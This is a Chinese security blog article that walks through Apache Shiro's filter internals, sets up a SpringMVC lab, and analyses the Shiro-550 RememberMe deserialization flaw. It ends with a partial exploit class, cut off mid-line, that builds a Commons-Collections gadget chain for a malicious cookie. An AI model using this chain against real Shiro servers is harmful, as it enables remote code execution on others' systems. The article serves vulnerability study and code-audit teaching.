freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (下)
2024-10-24 13:24:31
所属地 河北省

前言

本篇文章是 《Java 安全 | 从 Shiro 底层源码看 Shiro 漏洞 (上)》的后续部分, 由于篇幅问题, 故分为两部分, 请大家衔接阅读...

FilterChainResolver::PathMatchingFilterChainResolver

代码再继续运行, 我们则会看到FilterChainResolver的身影:

image-20241015091245433.png

目前我们知道的是,PathMatchingFilterChainResolver只是将FilterChainManager设置进去了, 这里并没有调用其他方法, 随后丢给了new SpringShiroFilter, 目前我们还不知道PathMatchingFilterChainResolver具体是用来干嘛的, 先不管, 后面看程序是否调用到某个方法时, 我们再进行研究.

new SpringShiroFilter

最后就走到SpringShiroFilter这个构造函数了, 分别传递了WebSecurityManager以及FilterChainResolver, 下面我们看一下做了一些什么操作:

image-20241015092034089.png

这个Filter最终设置了程序员定义的WebSecurityManager以及在createInstance()方法中生成的FilterChainResolver. 虽然目前我们还不知道FilterChainResolver做了什么.

doFilterInternal 核心逻辑

因为SpringShiroFilter是一个Filter, 并且实现了OncePerRequestFilter, 所以每次HTTP请求过来时, 会调用doFilterInternal方法, 现在我们看一下这个方法做了什么:

封装 request, response

image-20241015094035233.png

这里只是对 request, response 进行了简单的封装, 封装为ShiroHttpServletRequest, ShiroHttpServletResponse, 读到这里暂时还没有发现对这两种方法上有什么扩展, 暂时先不管. 不过这两个封装的类类图如下:

image-20241015094622298.png

可以看到, 都实现了HttpServletRequest, HttpServletResponse.

createSubject::SubjectContext

下面我们首先分析一下WebSubject.Builder方法做了什么事情:

image-20241015102851850.png

我们可以看到的是,WebSubject.Builder这个类, 维护了subjectContext && securityManager,securityManager从刚开始我们已经介绍过了, 重点是这个SubjectContext.

SubjectContext是一个大的Map, 这个Map中包含了SecurityManager, ShiroServletRequest, ShiroServletResponse, 它的关系图如下:

image-20241015103216265.png

我们可以看到的是, 它将本次请求的request, response, 以及我们重要的securityManager进行封装了. 那么下面我们看一下WebSubject.Builder::buildWebSubject方法做了什么:

image-20241015115047321.png

可以看到的是, 当一次请求过来, 如果当前请求存在 SESSION, 那么会将当前的 SESSION 放入到 SubjectContext 这个 Map 中进行管理.

我们可以清晰的感觉到, SubjectContext 中存储了当前 HTTP 请求的各种状态.

image-20241015152147897.png

这里我们可以看到, 首先判断SESSION, 如果SESSION中存在用户名信息, 那么就直接返回, 如果SESSION不存在, 或者SESSION中没有用户名信息, 那么就会通过RememberMe组件进行反序列化得到当前用户信息, 这里存在一个Shiro550的一个漏洞, 先留下悬念, 漏洞后面我们再分析.

通过这几行代码, 我们可以清楚的感受到, SubjectContext 这个 Map 中存放着当前 HTTP 请求中的所有状态, 以及我们的 SecurityManager.

image-20241015153342817.png

下面 save 方法仅仅只是对 subject 进行校验, 在这里就不再说明了, 因为整个createSubject方法是对subject的处理. subject 中包含了当前状态的信息, 知道这些, 已经足够了.

subject.execute

WebDelegatingSubject, 是 createSubject 的返回结果, 那么我们看一下该类图:

image-20241015154557818.png

那么我们接着看代码:

image-20241015160718771.png

可以看到,SubjectCallable类似于一个代理类, 它将外部的

new Callable() {
    public Object call() throws Exception {
        updateSessionLastAccessTime(request, response);
        executeChain(request, response, chain);
        return null;
    }
}

封装到自己的callable属性中, 将WebDelegatingSubject封装为了SubjectThreadState. 因为subject.execute会执行SubjectCallable::call方法, 那么我们跟进:

image-20241015163857050.png

可以看到的是, 这一系列代码做了两件事:

  • 将当前 WebDelegatingSubject 对象与线程绑定在一起

  • 获取当前URI, 与 FilterChainManager 中的 URI 进行逐步匹配, 匹配成功后会调用filterChainManager.proxy(originalChain,当前URI)方法.

那么我们看一下匹配成功后做了什么事情:

image-20241015172956205.png

假设匹配到的 Filter 为:SimpleNamedFilterList[AnonymouseFilter, UserFilter].

匹配成功后, 将SimpleNamedFilterList交给ProxiedFilterChain, 随后ProxiedFilterChain调用AnonymouseFilter::onPreHandle方法, 执行完毕后, 接着调用UserFilter::onPreHandle, 当SimpleNamedFilterList遍历完毕后, 运行结束.

从这里我们可以看到,Shiro中自带的Filter, 核心逻辑是重定义onPreHandle | preHandle方法, 下面看一下一些FilteronPreHandle方法是怎么定义的:

image-20241015174027102.png

可以看到AnonymousFilter作为anon的代名词, 只要配置了anon并访问具体路由, 就会调用到AnonymousFilter::onPreHandle方法, 任何用户都可以直接访问, 是因为这里直接返回了 true.

LogoutFilter作为logout的代名词, 只要配置了logout并访问具体路由, 就会调用到LogoutFilter::preHandle方法, 直接调用了subject.logout()方法进行清空当前状态.

UserFilter的定义比较复杂, 它的onPreHandle是在父类上, 其定义如下:

image-20241015174521008.png

这里的一些其他逻辑, 我们在做测试的时候可以细看, 至此, 整个 Shiro 框架运行核心原理已清楚!

SpringMVC 环境搭建

由于我们上面的环境是配置在SpringBoot上的, 我们阅读底层源码的时候, 因为SpringBootFilterRegistrationBean && 自动扫描 Filter机制, 所以我们在SpringBoot中, 只要稍微配置一下ShiroFilterFacotryBean即可直接使用ShiroFilter, 而在 SpringMVC 环境中, 是不存在FilterRegistrationBean的.

这一部分知识点不只是开发的, 包括我们在打Shiro反序列化漏洞的时候, SpringMVC 环境 与 SpringBoot 环境也大有不同, 经过思考, 将 SpringMVC 环境下的配置核心原理, 也写出来.

注意使用 IDEA 创建项目时, 选择Maven ArcheType, 引入所需要的扩展:

<dependencies>
    <dependency> <!-- 引入 junit, 可以进行测试包 -->
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
        <scope>test</scope>
    </dependency>
    <dependency> <!-- 引入 springMVC -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.3.8</version>
    </dependency>
    <dependency> <!-- 支持切面编程 -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-aspects</artifactId>
        <version>5.3.8</version>
    </dependency>
    <dependency> <!-- 引入 servlet-api -->
        <groupId>javax.servlet</groupId>
        <artifactId>javax.servlet-api</artifactId>
        <version>3.1.0</version>
    </dependency>
    <dependency> <!-- 引入 shiro-spring -->
        <groupId>org.apache.shiro</groupId>
        <artifactId>shiro-spring</artifactId>
        <version>1.2.3</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
        <version>3.2.1</version>
    </dependency>
    <!-- 添加Tomcat依赖, 对应到自己的版本号 -->
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-servlet-api</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
    <!-- 如果你需要使用Jasper for JSP support -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>8.5.100</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

随后我们在Maven项目中, 添加对Tomcat的支持, 这个步骤就不再重复了, 熟悉 IDEA 的都懂. 接下来我们一步一步配置Shiro的环境.

/WEB-INF/web.xml中创建如下内容:

<filter>
    <filter-name>shiroFilter</filter-name> <!-- filter-name 写 shiro bean 的名称 -->
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
        <param-name>targetFilterLifecycle</param-name>
        <param-value>true</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:ApplicationContext.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

可以看到, 这里我们使用DelegatingFilterProxy进行配置我们shiroFilter, 创建resources/ApplicationContext.xml文件内容如下:

<context:component-scan base-package="com.heihu577"/> <!-- 扫描 Bean -->

<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/WEB-INF/pages/"/> <!-- 配置视图解析器, 当然了, 这里需要在 web/WEB-INF/ 下创建 pages 目录 -->
    <property name="suffix" value=".jsp"/>
</bean>

<bean id="defaultWebSecurityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
    <property name="rememberMeManager"> <!-- 准备 rememberMeManager -->
        <bean class="org.apache.shiro.web.mgt.CookieRememberMeManager">
            <property name="cookie">
                <bean class="org.apache.shiro.web.servlet.SimpleCookie">
                    <property name="name" value="rememberMe"/> <!-- 配置 Cookie 名称 -->
                    <property name="maxAge" value="60"/> <!-- Cookie 存活时长 -->
                </bean>
            </property>
        </bean>
    </property>
    <property name="realm"> <!-- 准备自定义 Realm, 账号任意, 密码 heihu577 即可登录. -->
        <bean class="com.heihu577.realm.MyRealm"/>
    </property>
</bean>

<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
    <property name="filterChainDefinitionMap">
        <map>
            <entry key="/index" value="user"/> <!-- 记住我访问 -->
            <entry key="/login" value="anon"/> <!-- 任意用户访问 -->
            <entry key="/user/login" value="anon"/> <!-- 任意用户访问 -->
            <entry key="/**" value="authc"/> <!-- 已认证访问 -->
        </map>
    </property>
    <property name="securityManager" ref="defaultWebSecurityManager"/> <!-- 定义 SecurityManager -->
    <property name="loginUrl" value="/login"/> <!-- 定义登录页面 -->
    <property name="unauthorizedUrl" value="/login"/> <!-- 定义未认证跳转页面 -->
</bean>

定义MyRealm:

public class MyRealm extends AuthorizingRealm {
    @Override
    public String getName() {
        return "myRealm";
    }

    @Override
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    @Override
    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        UsernamePasswordToken upToken = (UsernamePasswordToken) token;
        String username = upToken.getUsername();
        SimpleAuthenticationInfo simpleAuthenticationInfo = new SimpleAuthenticationInfo(username, "heihu577", getName());
        return simpleAuthenticationInfo;
    }
}

随后定义Controller:

@Controller
public class PageController {
    @RequestMapping("/index")
    public String index() {
        return "index";
    }
    @RequestMapping("/login")
    public String login() {
        return "login";
    }
}

以及登录用的Controller:

@Controller
@RequestMapping("/user")
public class UserController {
    @RequestMapping("/login")
    public String login(HttpServletRequest request, String username, String password,
                        @RequestParam(defaultValue = "false", required = false) boolean rememberMe) {
        UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
        Subject subject = SecurityUtils.getSubject();
        System.out.println(rememberMe);
        usernamePasswordToken.setRememberMe(rememberMe);
        try {
            subject.login(usernamePasswordToken);
            System.out.println("登陆成功!");
            return "index"; // 登陆成功跳转
            /* webapp/WEB-INF/pages/index.jsp 页面内容:
            	<%@ page contentType="text/html;charset=UTF-8" language="java" %>
                <%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
                <html>
                <head>
                    <title>Title</title>
                </head>
                <body>
                    <h3>Hello User: <shiro:principal/></h3>
                </body>
                </html>
            */
        } catch (Exception e) {
            System.out.println("登陆失败!");
            request.setAttribute("msg", "登陆失败!");
            return "login"; // 登陆失败
            /* webapp/WEB-INF/pages/login.jsp 页面内容:
            	<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
                <!DOCTYPE html>
                <html lang="en">
                <head>
                    <meta charset="UTF-8">
                    <title>用户登录</title>
                    <base href="<%=request.getContextPath()%>/">
                </head>
                <body>
                <form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
                    u: <input type="text" name="username"><br>
                    p: <input type="password" name="password"><br>
                    rememberMe: <input type="radio" name="rememberMe"><br>
                    <input value="登录" type="submit"><br>
                    ${requestScope.msg}
                </form>
                </body>
                </html>
            */
        }
    }
}

那么我们就搭建了与上面SpringBoot环境"一模一样"的SpringMVC环境.

DelegatingFilterProxy 核心逻辑

SpringBoot不同的是, 在SpringMVC中进行配置Shiro, 需要使用DelegatingFilterProxy进行支撑, 下面我们看一下为什么需要DelegatingFilterProxy. 首先我们看一下DelegatingFilterProxy的类图:

image-20241016155229522.png

我们可以看到, 该类是一个Filter, 并且继承了GenericFilterBean类, 既然是Filter, 那么当我们配置该Filter后启动Tomcat容器, 就会调用Filter::init方法, 那么我们先看一下该方法做了什么.

DelegatingFilterProxy::init

image-20241016161956014.png

可以看到的是, 由于Tomcat注册FilterSpring容器初始化之前, 这里initFilterBean方法并无法对shiroFilter做初始化工作.

但是这里BeanWrapper.setPropertyValues(pvs, true), 会对targetFilterLifecycle做初始化工作, 由于代码底层是Spring的代码, 笔者这里就不贴图了, 最终会调用到DelegatingFilterProxy::setTargetFilterLifecycle, 进行初始化targetFilterLifecycle这个成员属性.

而其他部分代码对filterConfig && targetBeanName成员属性进行初始化操作.

我们就简单的理解该方法是用来保存filterConfig && targetBeanName && targetFilterLifecycle到自己的成员属性中的功能吧.

那么我们分析一下DelegatingFilterProxy::doFilter方法.

DelegatingFilterProxy::doFilter

image-20241016165206638.png

通过DelegatingFilterProxy::doFilter方法我们可以看到, 对 Spring 中是 Filter 的 Bean 进行调用 init 方法与 doFilter 方法.

调用具体 Filter 的 init 方法的前提是, 配置了targetFilterLifecycletrue才会进行调用.

Shiro 漏洞分析

Shiro 550 条件: < 1.2.4

Shiro 550是一个经典的反序列化漏洞, 它是由于RememberMe功能模块,AES加密使用了默认Key, 从而导致了黑客可以通过伪造Key进行反序列化任意值, 如果此时恰好存在RCE的反序列化链路, 那么黑客将可以使反序列化漏洞升级为RCE漏洞.

调用点回顾

在我们前面分析Shiro底层机制时, 我们注意到, 当一次HTTP请求过来时, 会调用到SpringShiroFilter::doFilterInternal方法, 而这个方法中createSubject方法调用时, 会解析当前用户的状态, 链路如下:

image-20241016171814327.png

反序列化点分析

那么我们重点关注getRememberedPrincipals方法:

image-20241016185153148.png

我们可以看到, 该代码段做了如下事情.

  • 拿到Cookie中的rememberMe的值

  • rememberMe进行Base64解码操作

  • 使用AES处理器Base64解码后的值进行AES解码操作

  • 将最终解码后的值使用反序列化处理

漏洞产生原理

乍一看逻辑没什么问题, 但问题是AesCipherService使用的KEY, 是程序中已写死的KEY, 如图:

image-20241016190248236.png

那么黑客可以通过如下操作:

  • 使用该Key恶意序列化值进行AES加密处理.

  • 将该AES值进行Base64编码操作

  • 将该Base64值放入到rememberMe这个Cookie

这样程序将进行反序列化黑客所指定的恶意序列化值. 从而引发反序列化漏洞.

漏洞复现 - SpringBoot - CC 链

我们可以编写如下EXP, 生成恶意Cookie值.

public class MyExp01 {
    public static void main(String[] args) throws Exception {
        AesCipherService aesCipherService = new AesCipherService(); // 创建 AES 加密器.
        TemplatesImpl templates = new TemplatesImpl();
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        bytecodes.setAccessible(true);
        byte[][] myBytes = new byte[1][];
        myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类的 Base64 值"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
        bytecodes.set(templates, myBytes);
        name.set(templates, "");

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        });

        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577");
        HashMap<TiedMapEntry, Object> hsMap = new HashMap&
# 网络安全 # 代码审计 # Java代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录